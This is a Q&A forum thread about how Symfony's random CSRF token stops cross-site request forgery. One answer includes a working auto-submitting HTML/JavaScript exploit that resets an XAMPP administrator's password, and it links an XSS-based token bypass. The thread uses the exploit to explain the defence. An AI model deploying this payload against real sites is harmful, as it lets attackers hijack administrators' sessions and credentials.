tags:

views:

407

answers:

4

to prevent CSRF attacks, a random CSRF secret has been generated.

The above is from symfony: http://www.symfony-project.org/getting-started/1_4/en/04-Project-Setup

Since it's finally operated by users,which is so called deputy attack.how can it work by setting that secret?

A: 
atk
I've read that post,it recommends `$_POST` instead of `$_REQUEST`,doesn't mention about "random CSRF secret"
I see nowhere that the CSRF faq indicates that POST is recommended. Instead, it explicitly calls out the fact that POST is not sufficient to prevent CSRF. Also, have you followed any of the references from the FAQ?
atk
A: 

OWASP (open web application security project) has very good explanation on CSRF, I encourage you to read it and post your questions afterwards.

http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

If you are looking for sample implementation on how to prevent CSRF, take a look at Django and its write-up. http://docs.djangoproject.com/en/dev/ref/contrib/csrf/

Jay Zeng
My doubt is :all random secret tokens will be submitted with every request.How can it be used to prevent attack?
How will the attackers know the token since it is randomly generated? Unless they can capture all victim's traffic (e.g:man in the middle attack), they have no clue what the random tokens are. Certainly, good random tokens should be based upon timestamp.
Jay Zeng
The attackers don't need to know the token,because the token is like cookie,even secretly generated,will be submitted with every request.
Sorry I don't think I fully understand your question, Can you give me a scenario how attacker will be to comprise your app/site? All data have to be transmitted over the http(s) protocol with different http verb (get, post, put etc), no matter it is a rand token or even user login info.
Jay Zeng
The system generates a token which is automatically submitted for a user,right?
wow, you guys need to read my post.
Rook
+1  A: 

CSRF or XSRF stands for Cross Site Request Forgery. The idea is that the attacker is "forging" a HTTP request when a victim executes html or javascript created by the hacker. Here is an example CSRF exploit I wrote against XAMPP. The idea is that this html/js is building a POST request which "rides" on already existing session. The CSRF exploit must be executed by the browser of an XAMPP administrator that is currently logged in.

<html>
    <form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
        <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
        <input type=hidden name="xamppuser" value=admin >
        <input type=hidden name="xampppasswd" value=password>
        <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
        <input type=submit>
    </form>
</html>
<script>
    document.getElementById(1).submit();
</script>

In order to do this the hacker must know a lot about the request ahead of time, most importantly the destination server and all of the variables. The hacker does NOT need to know the sesion id or the "basic-auth" header, this is automatically provided by the browser. If you add a randomly genearted secret then the request cannot be forged unless the hacker knows that value. Its like having a password for every request you send to the server. A hacker CAN obtain this token value using XSS. This is a more complex attack, but here is an exploit that bypass token based CSRF protection using XSS: http://www.milw0rm.com/exploits/7922

Rook
A: 

The CSRF secret in Symfony is well explained here: http://www.nacho-martin.com/csrf-tokens-in-symfony